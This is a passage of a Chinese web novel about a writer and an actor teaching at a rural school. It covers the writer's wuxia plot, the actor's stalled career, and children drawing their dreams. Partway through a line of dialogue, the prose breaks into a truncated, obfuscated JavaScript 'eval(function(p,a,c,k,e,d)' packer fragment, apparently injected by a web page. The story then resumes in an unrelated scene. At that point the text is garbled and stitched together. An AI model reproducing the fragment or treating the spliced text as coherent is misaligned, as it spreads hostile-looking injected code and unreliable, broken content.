柳疏说:“皇上之民,一介书生。” 守卫更觉得好笑,“书生拿剑?” 柳疏没有解释,他只是把剑从腰间取下来,放在地上,“我不会用它,但我带着它。” 费野停了一下,她刚准备继续写,就听见脚步声。 有人走过来,孟余靠在走廊的栏杆旁,他远远就看到费野在电脑上不停的敲字,基本不用猜测就知道,“你在写小说?” 费野抬头,“嗯。” 孟余走过来,他低头看了一眼屏幕。 “已经更新了?” 费野点头,“刚发第一章。” 孟余笑了一下,“这么快。” 他拉过旁边一张椅子坐下,“我刚刚看了。” 费野有点意外。 “这么快?” “信号好。”孟余说,他停了一下,“柳疏这个人,是主角?” 费野摇头而后回答起来,“不是。” 她转过电脑,“他是一个已经死了的人。” 孟余愣了一下,费野开始解释,“柳疏是一个会武功的书生。” 她一边说,一边在文档里翻动,“他看到百姓没有饭吃。很多人要饿死。” 孟余点头,费野继续说:“所以他杀进皇宫。要求皇帝开官仓放粮。我好像跟你讲过这些?” 孟余微微皱眉点点头,算是认可,但不妨碍他继续问,“杀进皇宫?” 费野笑了一下,“对。但他其实没杀人,只是提着剑进宫。” 她停了一下,“当时朝廷里有一个官。他直接说柳疏谋逆。然后让人杀了他。” 孟余沉默了一会儿,“柳疏没有反击?” 费野摇头解释道,“他没有。因为如果反击那就真的成了谋逆。” 孟余低头。 费野继续说,“所以他没有动。然后被杀,尸首挂在城墙上。” 走廊安静了一下,远处操场上有学生在喊。 孟余继续问道,“皇帝怎么说?” 费野笑了一下,“皇帝认为他谋逆因为他同样觉得自己在被挑战权威,没有皇帝愿意被一个小民揭露自己是个被蒙骗的傻子。所以臣子说他谋反皇帝也就不在反对。至于天下万民,可能皇帝觉得饿死了再换一批就好了。但宫里有人传出来。柳疏只是求开粮仓。” 孟余看着屏幕,那一段文字很短,但似乎在讲一个很重的故事。 他问,“那后来呢?” 费野翻到下一段。 “后来有一个人,杀了那个官。” 孟余抬头。 费野说,“她叫阮棕。后来化名秀云。”应该是觉得自己说的还不够清晰,她继续解释:“阮棕是江湖人。她佩服柳疏,觉得他死得太冤,所以杀了那个官。” 孟余问,“她成功了吗?” 费野点头,“成功了。但她也被追杀。” 她把文档往下拉。 “追杀她的人有三个。” “沈观。” “福云道人。” “七巧。” “但其实这三个人原本和阮棕就是好友的关系。” 孟余皱眉,“福云道人?” 费野笑了一下,“她是女性,她和七巧是一对。” 孟余愣了一下,“情侣?” 费野点头,“百合。” 孟余笑了一下。 “那沈观呢?” 费野说,“表面上看沈观是朝廷招募的江湖人,他 负责抓阮棕,在做一件江湖人士所不齿的的事情。”她停了一下,“最后沈观杀了她。” 孟余沉默了一会儿。 费野继续说,“但福云道人和七巧没来得及阻止。她们把阮棕埋了。后来沈观又把她挖出来。” 孟余抬头,“为什么?” 费野说:“沈观没有真的杀掉阮棕,他把阮棕送去送去陈鹤真家养伤,也是他促成陈鹤真走上江湖继续追查阮棕的事情,从而把柳疏的事情再挑起来。” 孟余愣住,费野笑了一下,“所以真正的主角,是陈鹤真。” 她继续解释,“陈鹤真是下一代人,只有下一代,下一代,再下一代人都对真相感到好奇,她们不知道这些事情,她只知道自己的阮棕死了,所以她拿着凤尾剑去江湖找真相。” 孟余慢慢点头,“所以柳疏那一代,只是历史。” 费野点头,“对。” 她继续说:“阮棕和沈观是一对情侣。福云道人和七巧是一对百合情侣。陈鹤真后来会喜欢不同的人。” 孟余笑了,“感情线挺复杂。” 费野点头,“她最后喜欢陆行之,一个剑客。” 她停了一下,“但她一开始喜欢李陆沉。” 孟余问: “李陆沉是谁?陆行之又是谁?” 费野说想了想解释道,“李陆沉是柳疏的外甥。” 孟余愣住。 费野解释,“柳疏有个妹妹叫柳瑶,柳瑶喜欢一个人,叫李温。” 孟余慢慢理解。 费野继续说,“当年其实是李温想进宫。但柳疏知道妹妹喜欢他,柳疏觉得自己又是孤家寡人,所以他先去了。” 孟余沉默了一下,“柳疏不知道会被杀?” 费野摇头,“他没想到,他以为皇帝会听。装装样子的皇帝,假装做个明君也会给他一点说话的机会,谁知道大家都不怎么在意他,直到他死了还要给他扣上黑帽子,明明是为民请命的英雄却被人说是谋逆之人。” 走廊安静下来,远处的山被夕阳染成一点橘色,孟余安静着听着,他不知道在想什么。 费野忽然问,“你觉得柳疏是不是有点傻?” 孟余没有立刻回答,他看着远处很久,然后才说: “不是。”费野看着他,孟余轻轻笑了一下,“我很喜欢这个人。” 他停了一下,“如果以后能拍电视剧。” 他看着电脑屏幕,“我想演柳疏。” “嗯,柳疏是个好人,但是太正直的好人在复杂的事情里容易吃亏。” 费野笑起来,“柳疏太相信皇帝了,他觉得自己说了皇帝就会听,就好像只要我做正确的事情世界就会给我结果,但可惜世界不是这样的。现实里规则,利益,权力都比道德优先,大家都知道这个,但都不想说出来。” “人类喜欢殉道者叙事,但如果可以,我希望柳疏这样的人少一点,至少能保护自己。但如果真的一直有柳疏这样的人,我又会对这个世界产生期待。” 孟余一直没有再说话,他听着费野说着自己的想法,他的表情一直保持着很平和的样子,似乎他没有在想很多事情一般,但很快他提出一个问题,“ 那你的作品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方语气很轻松地说着,但完全是漫不经心的状态,“有关系,你站在那里就是关系。” 后来孟余就很少再问了,因为合同在,合同是很简单的东西。 几页纸,字很多,但意思其实很清楚。 你要去,不管你喜欢不喜欢。 不去?可以,那就赔违约金,几千万上亿的违约金拿来买自由,买自己的命。 孟余靠在椅背上,眼睛盯着窗外,远处的山黑得很深,山和天几乎连在一起。 他忽然想起几年前的一件事,那时候他刚拍完一部剧,剧不算大制作,但角色还不错,他在里面演一个记者,追查一桩演员死亡的真相。 那段时间工作很密,拍戏、采访、宣传。 忙到几乎没有空闲,有一天晚上,剧组杀青聚餐。 酒店的大厅灯光很亮,很多人喝酒,很多人说话,孟余不太习惯那种场合,他坐了一会儿,就找了个理由先回房间。 电梯里很安静,上楼的时候,他甚至有点松了一口气。 房间门打开的时候,他看见地上有一张卡,酒店其他房间的房卡,他愣了一下拿起来,上面的房间号,他知道住了谁。 只有一张卡,孟余站在门口看了一会儿,其实他明白是什么意思,这种事情在这个圈子里并不罕见。 他把卡放在桌子上,然后去洗了个澡,水很热,水声盖住了一切。 等他出来的时候,卡还在那里,他看了它一眼,最后把它放回门口。 第二天早上,卡已经不见了,事情就像没有发生过,但从那以后,一些事情开始慢慢改变。 有些剧本不再找他,有些合作也突然没了消息。 没有人解释,也没有人说原因。 事情只是慢慢发生,像潮水退去一样,孟余一开始还会去想原因,但后来就不太想了,因为很多事情其实不需要答案,他坐在椅子上,看着窗外。 山里的夜很黑,但星星很多,有几颗特别亮。孟余忽然想,如果未来真的没有什么机会了,也许这样也可以。 白天上课,晚上改作业,偶尔帮朋友拍一点短片,教孩子们怎么站在镜头前,也许会有一个孩子很喜欢表演,也许他会在操场上练台词。 孟余想到这里,忍不住笑了一下。 风从窗外吹进来,窗帘轻轻动了一下。他忽然觉得其实生活没有那么绝对。 世界很大,路也很多,有些路走不通,也许只是因为不适合。 远处操场的灯终于熄了,黑暗一下子变得更深。 孟余坐在椅子上,他低头关掉电脑,房间彻底暗下来,但他心里其实很清楚。 未来大概不会只有这一种样子,也许很慢也许很远,但总会有新的事情发生。 黑暗慢慢适应了眼睛,窗外的景色一点点清晰起来。远处的山像一整块沉默的影子,压在夜空下面。偶尔有一两声虫鸣,从操场边的草丛里传出来。 风比刚才更凉了一点,他起身走到窗边。 操场已经完全空了。白天那些跑来跑去的孩子,现在应该都在宿舍里睡觉。 孟余靠在窗框上,他忽然想起白天的事情,那些孩子围着他说话的样子。一个小男孩拉着他的袖子,说自己今天跑步拿了第一名。还有一个女孩,把写得歪歪扭扭的作业本递给他,问是不是写得还行。 那一瞬间,他忽然觉得自己好像真的变成了老师。 不是演员,也不是别人眼里的那个名字,只是一个普通的人,孟余低头笑了一下。 这种感觉其实挺奇怪的,现在没有那种很快的生活节奏,过去总是早上起床,化妆,试戏,拍摄,采访。一天被安排得满满的,像一条一直向前跑的线。 但这里不一样时间慢很多,一天能清楚地看到开始和结束。 山里的天亮得很早,太阳从山背后慢慢出来,雾气一点点散开。到了晚上,灯一关,世界就彻底安静下来。 孟余抬头看了一眼天空,山里的星星很多,比城市里多得多,就像自己刚入行的时候总觉得未来很大,好像只要努力,就会有很多机会。 后来才慢慢发现,世界其实有很多看不见的门。 有些门是关着的。 有些门是别人帮你关上的。 但也有一些门,是你自己不愿意进去。 孟余站在窗边,夜风吹过来,他忽然觉得其实也没什么可遗憾的,人这一辈子总要选几件自己愿意坚持的事情。 如果未来真的走到很远的地方,他可能还是会记得这个晚上。 记得这座山,记得操场,记得那些围着他说话的孩子。 想到这里,他忽然觉得心里轻了一点。 孟余关上窗走回床边,夜已经很深了。 该休息了。 27.第 二十七章 早上的雾还没完全散,操场远处的山被一层淡白色包住,像没睡醒一样。 空气有点凉,但阳光已经开始往地面铺开,慢慢把红色跑道照亮。 费野出来的时候,操场已经有动静了,她站在走廊上,单手拿着水杯看着操场上的几人,已经完全融入到当下的身份里。 宋知夏站在中间,手里拿了一支粉笔,地上被她划了几条简单的线。 “来来来,今天不站队。”她拍了拍手,“想跑步的这边,想玩游戏的这边,不想动的……也别装,过来。” 几个本来站在边上的孩子被她点到,忍不住笑着跑过去。 “你刚刚说不想动,现在跑这么快?”宋知夏指着一个男孩。 “我没说!”男孩嘴硬。 “你心里说了。”宋知夏笑,“还被我看出来了。” 孩子们很快被分开,有人已经开始跑,有人围在一块准备接力,还有几个小孩在一边讨论规则。 费野站在操场边看了一会儿。 “她好像完全不用准备。”她说着,那意思就是宋知夏很适合这个活动,孟余站在她旁边,看着宋知夏在人群里走来走去。 “这种人是习惯。”他说,“知道怎么把人带起来。” 费野点点头。 宋知夏已经蹲下来跟一个小女孩说话。 “你不想跑?” 小女孩摇头。 “那你帮我计时。”宋知夏把秒表递给她,“这个更重要。” 小女孩立刻认真起来,费野远远地看着,也跟着笑了一下。 “她真的会分配。” 孟余没说话,他看了一会儿,然后说:“她会让每个人都有位置。” 费野侧头看了他一眼,没接话。 另一边,乔鹤已经进了教室。她站在讲台前,把带来的几本书放在桌上。 孩子们坐得不算整齐,有人趴着,有人歪着,有人小声聊天。 乔鹤没有马上让他们安静,她只是把书翻开,说:“今天不讲课。” 教室里声音慢慢小下来。 “我给你们讲一个故事。” 一个男孩立刻问:“恐怖的故事吗?” 全班笑,还有几个不想听恐怖故事而捂起耳朵的家伙,看到这乔鹤也笑了一下。 “不是。”她停了一下说:“是一个关于梦的故事。” 孩子们有点安静,乔鹤开始讲:“有一个人,叫庄周。” “他有一天做梦,梦见自己变成了一只蝴蝶。”她用手比了一下飞的动作,“他飞在花丛里,很开心,没有烦恼。” 一个小女孩小声说:“那很好。” 乔鹤点头,“是很好。”她停了一下,看着学生: “可是他醒来之后。他突然不知道。” 她特意慢慢说,眼神看着台下的学生,果然好几个好奇地睁大了眼睛:“到底是庄周做梦变成了蝴蝶,还是蝴蝶在做梦变成庄周。” 教室安静了一瞬,一个男孩皱眉:“那他是谁?” 另一个说:“这不是骗人吗?” 乔鹤笑了,“他也不知道。” 孩子们开始小声讨论,但话题全都是围绕着自己的故事,比如自己的梦,还有同学的梦。 “我梦见我飞。” “我梦见我掉下来。” “我梦见我考试没写完。” “我梦见我变成猫。” 乔鹤没有打断,她只是站在那里听着他们说,铃声响的时候,教室几乎是炸开的。孩子们一边往外走,一边继续说梦,费野站在走廊上,全都听见了。 “我梦见我会飞!” “我梦见老师变怪兽!” “我梦见我在天上跑!” 声音一阵一阵传上来,一点小事也能让这些孩子们争吵起来,费野忍不住笑,她转头看见孟余站在旁边。 “他们聊得比上课还认真。”她说。 孟余点点头,“因为是他们自己的东西。” 费野靠在栏杆上,看着操场,而后视线落在孟余身上,想了很久后才继续道,“你会做梦吗?” 孟余愣了一下。 “会。” “梦见什么?” 孟余没有马上回答,他看着操场上那些孩子,过了一会儿才说: “我梦见我在一个活动现场。” 费野没打断。 孟余继续说:“灯很亮,人很多,这种活动都会有很多人,然后我在签名。” 他说得很慢,“然后灯突然灭了。” 费野侧头看他,孟余笑了一下。 “不是慢慢变暗,我开始以为是停电,就是一下子。全黑了。” 费野问:“你当时在干嘛?” “站着。”孟余说,“什么都看不见,笑着面对一切。” 他停了一下。“但我知道这是针对我。” 走廊安静了一下,费野没有追问,她只是轻轻点头。 孟余继续说:“我有点生气,也有点……没办法。” 他笑了一下,“因为这种方式挺奇怪的。” 费野说:“像现实,有些时候有些人就会…… 很现实。” 孟余没有否认只是低头看了一眼地面。费野沉默了一会儿然后说:“我也有梦。” 孟余看她,“什么?” 费野想了一下,“我一直做一个梦。” “很久了。” 她看着远处的山,“梦里是一个很先进的地方。什么都不用钱。” 孟余笑了一下,“听起来很好。” 费野点头,“是很好。”她停了一下,“我在那个地方过得很好。” 孟余问:“那为什么遗憾?” 费野想了一下,“因为醒了。” 她笑了一下,“醒来就没有了。” 孟余点点头,“那确实遗憾。” 费野又说:“更遗憾的是。” 她低头看自己的手,“这个世界不能直接变成那样。” 风从走廊吹过去,操场上孩子还在说梦声音断断续续,孟余没有说话只是站在那里,她看起来像是在想什么也像是什么都没说。 风从走廊另一端慢慢灌过来,这栋教学楼是后来翻修过的,走廊的栏杆是新的,刷着浅灰色的漆,但地面还是旧水泥,踩上去有一点粗糙。 阳光从对面的窗户斜着打进来,把地面切成一块一块的亮和暗。 操场上的声音一阵一阵往上飘。 有人在喊快点跑,有人笑得很大声,还有孩子在争谁刚才赢了。 费野靠在栏杆上,手指无意识地在铁栏上轻轻敲了一下。 她其实不是第一次听人说梦,但刚才那些孩子说的时候,她有一种很奇怪的感觉,好像他们说的不是梦,是另外一个世界的碎片。 她侧过头,看了一眼孟余。他站得很直,但整个人是松的,像是习惯站在人群边缘的位置。 “你那个梦……”费野开口,“是经常做,还是就做过一次?” 孟余没有马上回答,他抬头看了一眼天空。 山里的天很干净,没有城市那种灰白的雾,蓝得很浅,像一层很薄的水。 “不是每次都一样。”他说,“但差不多。” 费野看着他,“差不多是指?” 孟余轻轻动了一下手指,好像在找一个更合适的词。 “都是那种场景。”他说,“人很多,我在中间。” 他停了一下,“然后……突然结束。” 费野皱了一下眉。 他用手在空中比了一个断开的动作,费野盯着那个动作看了一眼,她忽然觉得那不像是在说梦,更像是在描述一件已经发生过的事。 她没有说出来,只是问:“那你醒来的时候,会是什么感觉?” 其实她刚才就想问的,只是觉得不合适把一个难受的问题连续的提问。 但是她还是又问了,孟余笑了一下也没有拒绝这个问题,“有点烦。还有一点……空。” 他说这句话的时候语气很轻,但费野听得很清楚。 那种空是某种被抽掉东西之后留下的空,就好像很多事情能看到一些发展的趋势,但突然一切都被人抹掉了。 费野没有继续追问,她低头看了一眼操场,刚才那个说自己会飞的小男孩,现在正站在跑道边上,试图给别人演示怎么起飞。 他跑了两步,猛地跳起来,又落下来,自己先笑了,费野忍不住笑了一下。 “他们的梦挺简单的。” 她说着,孟余看了一眼。 “简单一点挺好。” 费野点头,然后她想了想,又说,“我那个梦,其实也不复杂。” 孟余看向她,费野没有看他,她看着远处的山。 “就是期待中的生活。没有很多戏剧性的东西,没有冲突,没有特别需要去争的事情。” 她停了一下,“但就是……很轻松。” 费野不知道自己为什么在说到这个的时候,心里觉得十分的信任这个情绪的存在,但又觉得好像这些事情可能是虚假的,像是怕这个词在此刻的现实里显得太奢侈。 孟余听着没有打断,费野继续说:“我有时候醒来,会有一瞬间分不清。会觉得那个才是真的。” 她笑了一下,“然后下一秒就清醒了。” 风从走廊另一端吹过来,她的头发被吹起一点,又落下。 孟余看着她,“那你更想待在哪个里面?” 费野愣了一下,她没有马上回答,她看着操场,看着那些还在跑的孩子,看着远处的山,看着地上被阳光切开的影子。 过了一会儿,她说,“我以前会选梦。” 她说得很坦诚,“现在不太确定了。” 孟余没有问原因,他只是点了一下头,费野忽然笑了一下。 “可能是因为现在开始看到别的东西了。” 孟余看着她,费野没有解释,她只是抬起手,指了一下操场,“比如他们。” 孟余顺着她的方向看过去,孩子们还在跑,还在笑,还在争谁赢了。有人摔了一下,又立刻爬起来,没有人停太久。 孟余看了一会儿,然后轻声说了一句,“现实也不是全坏。” 费野听到了,她点了一下头,但她心里其实补了一句不是全坏,但也没有轻松到可以随便活,不过这些想法她没有说出来。 风还在吹,操场的声音还在往上飘,两个人站在走廊上,没有再继续这个话题。 但那段对话没有结束,只是暂时停在那里。 ……… 中午的食堂比早上更热闹,午饭还是很丰盛的,今天又费野想要吃的,她拿着饭盒很早就动身了。 刚走进门的时候,费野被一阵混杂的声音包住金属餐盘碰撞的声音、孩子们说话的声音、有人喊排好队的声音,还有饭菜的热气从窗口一股一股往外冒。 她下意识皱了一下眉,这种密度的声音,她还不太习惯。 孟余已经先走进去排队了,他站在队伍中间,背挺得很直,但人并不显眼。前面的小男孩一直回头看他,似乎想确认什么,又不太敢开口。 费野站在队伍后面,看着这一切。 她突然意识到这里的孩子,对他是谁是有感觉的,但他们没有一个明确的标签去定义,不像外面的世界,会直接说“演员”“明星”。 这里更像是—— “这个人很好说话。” “这个人会听我说话。” 轮到她的时候,窗口里的阿姨给她盛了一勺菜。 “多吃点。”阿姨说。 费野点点头,端着盘子往里面走,她找了个靠边的位置坐下,宋知夏已经在那边了,一边吃一边跟两个学生聊天。 “你刚刚说你梦见什么来着?”宋知夏问。 “我梦见我会飞!”小男孩说。 “你怎么飞?” “就跑,然后跳!” 他站起来比划了一下,旁边的小女孩立刻反驳: “你那个不算飞!” “我是真的飞!” “你骗人!” 两个人开始争,宋知夏笑着看着他们,也不阻止。 “你们可以下午画出来。”宋知夏继续说,“谁飞得高谁赢。” 两个孩子立刻安静了一下。 “真的?” “真的。”宋知夏点头。 费野坐在旁边,忍不住笑了一下。 孟余端着餐盘走过来,在她对面坐下。 “你看他们。”费野小声说。 孟余点头,他没有立刻吃,只是拿起筷子,轻轻把饭拨开一点。他在听,费野发现这一点,他是真的在听,不是礼貌性的听听而已,看起来算是在分辨。 旁边桌的声音更大。 “我梦见我在天上打怪兽!” “什么怪兽?” “黑色的,有翅膀!” “你打赢了吗?” “当然赢了!” “你怎么打的?” “我有剑!” “你哪来的剑?” “我自己有!” 几个孩子围在一起,争得很认真,费野低头吃了一口饭,她忽然有一个很奇怪的感觉。 这些梦不只是梦,像是他们唯一可以完全掌控的世界。在梦里他们可以飞,可以赢,可以拥有武器,可以不被限制。 她抬头看了一眼孟余,他还是没有说话,但他眼睛是亮的,像是自己也在想象着什么。 费野问:“你在想什么?” 孟余这才低头吃了一口饭,“他们说的东西都很具体。不是随便讲的。” 费野点头,“我也觉得。” 她停了一下,“有些梦是重复的。” 孟余看了她一眼。 “你也在记?” 费野笑了一下。 “职业习惯。” 孟余没有再问,他点了一下头,过了一会儿他忽然说:“下午让他们画。” 费野愣了一下。 “画梦?” “嗯。” “你来带?”费野问。 孟余点头。 “可以试试。” 费野看着他,她突然觉得这个决定很像他,不是为了效果,是因为他真的觉得应该这样做。 ……… 下午的教室安静了很多,阳光从窗户斜着照进来,落在桌子上,空气里有一点粉笔灰的味道。 每个孩子面前都放着一张纸,还有一盒彩色笔,这些是孟余前几天去镇上买的,孩子们拿到的时候明显很开心。 “可以用所有颜色吗?” “可以。”孟余说。 “可以画任何东西吗?” “可以。” “画完要交吗?” 孟余想了一下,“可以讲。” 孩子们安静下来开始画。 教室里只剩下笔划在纸上的声音。 有的人画得很慢,一点一点填色,有的人画得很快,像是早就想好了。 费野站在后面,她没有说话而是认真的看着,一个男孩画了一整页黑色,中间有一个很小的人,费野走过去。 “这个是什么?” 男孩没有抬头,“我在跑。” “为什么要跑?” “后面有东西。” “是什么?” 男孩停了一下,“没画。” 费野没有再问,她点了点头又走到另一个孩子旁边。 那个女孩画了一大片蓝色,上面有一个小人。 “我在飞。”她说。 “高吗?” “很高。” “会掉下来吗?” 女孩摇头回答着,“不会。” 费野笑了一下,“那很好。” 她继续往前走。 孟余坐在讲台旁边,他没有打断任何人,只是偶尔抬头看一眼,然后低头把几张画拍下来,他打开手机发出去。 孟余:【他们画的】 过了一会儿,对面回复。 曲柠:【好可爱,这个可以画成漫画】 孟余看了一会儿。 他手指停在屏幕上。 孟余:【你会画吗】 曲柠很快很快回复。 曲柠:【可以试试,他们讲故事了吗】 孟余抬头看了一眼教室,孩子们还在画,有人开始小声讨论。 “我画完了。” “你这个好丑。” “你这个像怪兽。” “本来就是怪兽!” 孟余低头回复: 孟余:【在画,估计等会儿讲】 对面发来一句: 曲柠:【那你录一点给我听】 孟余没有立刻回,他把手机放在桌上站起来说道,“谁画完了,可以讲自己画的东西。” 一个男孩立刻站起来。 “我!” 他把画举起来。 “我梦见我会飞。” 他开始讲,“我跑很快,然后跳就飞起来。” 他一边说一边比动作,全班笑。 另一个孩子举手:“我梦见我打怪兽!” “我有剑!” “我赢了!” 声音一个接一个。 教室变得热闹起来,每个人都在努力把自己的梦讲清楚。 孟余站在讲台边,他没有打断只是听,偶尔点头。 费野站在后面,她看着这一切,她忽然意识这些东西是一种很特别的表达,或许是他们很少有机会被认真听见的部分。 孟余重新拿起手机点开录音,没有说话,只是放在桌边,让声音自己进去。 教室里孩子还在讲,梦被讲出来像一块一块拼起来的世界。 外面的阳光慢慢偏移落在黑板上,粉笔字被照得很亮。 费野站在后面,她忽然有一个很清晰的念头,孩子们畅所欲言还是很有现实意义。 她看了一眼孟余,他正低头看着那些画表情很安静。但她知道,他在认真对待这件事。 这就够了。 教室慢慢安静下来。 刚才那一轮热闹之后,有一小段空白。 一个坐在最后排的男孩一直没有举手,他画得很慢,几乎是最后一个放下笔的。孟余看了他一眼,没有点名,只是问了一句,“还有人想讲吗?” 男孩犹豫了一下,站了起来,他没有把画举得很高,只是放在胸前。 纸上画的是一栋房子,房子是黑的窗户是亮的,屋子外面有一个很小的人。 “这是我。”他说。 声音不大,教室里的人慢慢安静下来。 “我梦见我在外面。他们在里面。” 孟余问:“他们是谁?” 男孩停了一下继续道,“我爸妈。” 教室更安静了,费野站在后面,下意识收紧了手指。 男孩继续说:“我想进去。但是门关着。” 他低头看着自己的画,“我一直在敲门。他们没听见。” 没有人笑,也没有人接话。 孟余没有立刻说话,他只是轻轻地点了点头。 “你画得很好。”他说。 男孩没有再说什么坐下了,空气有一点沉。刚才那些飞翔,打怪兽的声音,好像一下子被拉远了。 她看了一眼孟余,他已经转开了话题。 “还有人想讲别的吗?”他说着语气恢复了刚才的平稳。 教室里的气氛慢慢回暖,有孩子又开始举手,声音重新出现。 小男孩看起来有点沮丧,好像是他想说的事情并没有完全被理解和接纳,但或许他也还没有意识到自己想要说什么。 ……… 下午的光比上午更柔一点。 教室里的热闹散去之后,空气慢慢沉下来,像是刚刚那一轮讲梦的情绪还没完全消散。 乔鹤坐在办公室翻看着刚才收上来的画,她把一张张理好放在办公室上。她没有马上说话她在看,她看得很认真,好像每一张都需要被完整读一遍。 孙淼淼站在窗边,手撑着窗台,往外看,操场上还有几个孩子在玩,声音断断续续地飘进来。 宋知夏靠在门边,手里转着一支笔。 “你们不觉得,”她先开口,“他们其实挺愿意说的。” 孙淼淼回头看她。 “愿意说梦。”她说,“不一定愿意说未来。” 乔鹤抬头,“所以要慢一点。” 她把画放好,“我们换个方式。” 宋知夏挑眉:“怎么换?” 乔鹤想了一下。 “现在是画出自己的梦,后面的画作,也暂时不要问你想成为什么,这个话题或许太远了。” 孙淼淼点头,“问点近的。” “比如?” 乔鹤说:“你觉得你现在最擅长什么,或者说… ” 她停了一下,“你觉得你以后会去哪里。” 宋知夏笑了一下,“这个好。” 她直起身,“我来带一轮。” ……… 上一堂绘画课结束休息时间之后,孩子们重新坐回教室的时候,气氛比刚才轻松一点。宋知夏站在讲台前,没有拿书,也没有板书。 “来,我们聊点别的。” 她看着下面,“因为不是考试,也不用写标准答案,就是聊一聊。” 孩子们看着她,有点好奇。 “我问一个问题。”宋知夏说,“你们觉得自己现在最会做的事情是什么?” 一个男孩立刻说:“跑步!” “好。”宋知夏点头,“还有呢?” “打球!” “画画!” “打游戏!” “你这里哪来的游戏?”旁边有人笑。 教室里开始有一点松动,宋知夏笑着说:“没关系,想到什么说什么。” 她走下讲台,走到第一排一个女孩旁边。 “你呢?” 女孩低着头,想了一会,“我……会做饭。” 宋知夏愣了一下,问起来,“真的?” 女孩点头,小声的说“我奶奶教我。” 她声音很轻,宋知夏蹲下来,“那你挺厉害。” 女孩没有笑只是点了一下头。孙淼淼在后面听着,她的表情变了一点。她记下来了这个孩子会做饭,但或许这个也不是兴趣,只是她的生活。 另一边,乔鹤换了个问题,“那你们觉得,以后会去哪里?” 教室安静了一下,然后一个男孩先说:“去外面打工。” “外面是哪里?” “城市。” “哪个城市?” “都行。” 他说得很快没有停顿,像是已经想过很多遍。 乔鹤点了点头。 “为什么想去?” “赚钱。”他说着,然后 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宋知夏没有再问,她点了点头说起来,“那挺好。” 她说这句话的时候很轻;没有安慰,也没有转移。男孩没有抬头,但手指松了一点。 …… 另一边孙淼淼终于走过去,她找了一个看起来比较活跃的女孩。 “你呢?”她问,“你以后想干嘛?” 女孩想了一下,“当老师。” “为什么?” “可以一直在学校。” 孙淼淼笑了一下,“你喜欢上学?” 女孩点头,回答着让人有点捉摸不透的话,她说这里有人。 孙淼淼愣了一下,她原本以为会听到稳定、轻松这种理由,她点了点头,没有对此多评价而是维持一贯的态度,“那很好。” 乔鹤回到讲台前,她看着教室,她的声音比刚才更慢了一点。 “你们说的都很好。” “没有对错。” 她停了一下,“但是我想跟你们说一件事。” 孩子们看着她,“你们现在说的这些,以后可能会变。” 有人皱眉,还是没忍住问起来,“为什么?” 乔鹤笑了一下,“因为你们会看到更多东西,会认识更多人,会发现——” 她停了一下,“世界比你现在看到的大一点。” 隔壁的教室里也安静下来,孙淼淼站在旁边,她说了和乔鹤差不多的话,最后轻轻说了一句:“也可能更复杂,但也不一定不好。” ……… 下课的时候,孩子们没有像之前那样立刻散开。 有几个还围在讲台边,继续问问题,“老师,你真的觉得我会画画可以吗?” “可以。” “我真的可以当老师吗?” “可以。” “那我能去城市吗?” “可以。” 这些可以,不带保证但很重要。 这些孩子不是没有想法,他们只是没有被问过,也没有被认真听过,被学生围着的老师们低头看了一眼一直提问的孩子。 大家突然有点理解为什么梦会那么重要,因为那是他们唯一不需要被否定的地方。 孟余一直站在教室侧面,他作为旁听老师往返在孙淼淼和乔鹤的教室里,他没有参与刚才那一轮提问。 但他听完了所有对话,费野走过去,“你怎么不说话?” 孟余看了她一眼,“他们说得够多了,旁听的老师就认真的在听着。” 费野点头,她想了一下,又问,“你觉得他们会变吗?” 孟余看着窗外,操场上有风远处的山很安静,他没有马上回答,过了一会儿,他说:“会。” 费野问:“变成什么?” 孟余轻轻笑了一下,“他们会变成自己。” 教室里还在说话的孩子们,或者说这个地方只是少了一点可能,但那一点是在政府工作下可以慢慢补的,只要有人在,就会越来越好。 ……… 晚上比白天安静很多。 大部分的灯都关了,只有操场只剩下几盏边灯,风从山那边吹下来,带着一点凉意,宿舍楼的走廊很长,灯是白色的,隔一段亮一段暗。 费野洗完澡出来的时候,看见孟余还坐在教室里。 门开着,他没有开灯,只是借着走廊透进来的光。 桌子上摊着一叠纸,是下午孩子们画的梦。 费野站在门口没有进去,主要是孟余坐得很安静,他一张一张翻过去,有的停久一点,有的很快带过,有一张他停了很久。 太认真了,费野也不想去打扰他。 是那个“门外”的画。 费野看见了孟余手里拿着的画,好像是那个男生画的,自己在门外,父母在门里。 她没有说话,过了一会儿她轻轻敲了一下门框,“还不睡?” 孟余抬头看见她,“再看一会儿。” 费野走进去她没有坐,只是站在旁边看了一眼桌上的画。 “你都拍了吗?” “拍了。” “发给谁?” 孟余没有直接回答,他把手机拿起来,屏幕亮了一下,费野看见聊天界面,备注是曲柠,她没有多看,很快收回视线然后说,“孩子画得挺好。” 孟余点头,“她说可以画成漫画。” 费野笑了一下,凭借着一点点猜测回答着,“那挺适合她。” 孟余没有接话,他看着手机,像是在想要不要发什么。 费野看了一眼他,“你要跟她视频吗?” 她问得很自然,孟余愣了一下显然没想到费野已经如此自来熟了? “嗯?” “你不是想说点什么。”费野说,“那就说。” 孟余看着她沉默了两秒,然后点了一下头,“嗯。” …… 他走到走廊,信号会好一点,夜很安静,远处有虫鸣。 他点开视频,等待连接的时候,他站在原地没有动,手指在手机边缘轻轻摩挲了一下,像是习惯性的小动作。 几秒后,画面亮起来,曲柠出现在屏幕里。 她那边是室内光看起来很暖,背景是一面墙,上面贴着很多画稿。 “这么晚?”她先开口,声音很轻。 孟余笑了一下,“你不是也没睡。” “我在赶稿。”曲柠说,说完之后她看了他一眼。 “你在哪?” “支教的学校。” “哦。”她点头,“今天怎么样?” 孟余没有马上回答,他把镜头稍微转了一下,对准走廊。 “你听。” 他说着 那边安静了一下。 “什么?”曲柠问。 “风。”孟余说。 曲柠笑了一下,“你什么时候开始分享环境音了。” 孟余也笑,然后他把手机重新对准自己,继续道,“我今天让他们画梦。” 曲柠眼睛亮了一下。 “真的?” “嗯。” “拍了吗?” “拍了。” “给我看。” 孟余把拍好的图片发过去,曲柠那边很快打开。 曲柠一张一张看没有说话,但她的表情变得很认真,“这个是谁画的?” 她指着那张门外的画,孟余看了一眼,“一个男孩。” “他说什么?” 孟余停了一下,“他说他在外面。爸妈在里面。” 曲柠没有说话,她把那张图放大看了很久。 “孩子们的故事可以画。” 曲柠说着自己的想法,“但不要改太多。” 孟余点头,“嗯。” 曲柠继续翻,“这个飞的也可以,这个怪兽的也行。” 她一边看一边说像是在脑子里已经开始构图。 孟余看着她,没有打断,过了一会儿,他说,“你忙吗?” 曲柠抬头,“你要说什么?” 孟余笑了一下,“没。” 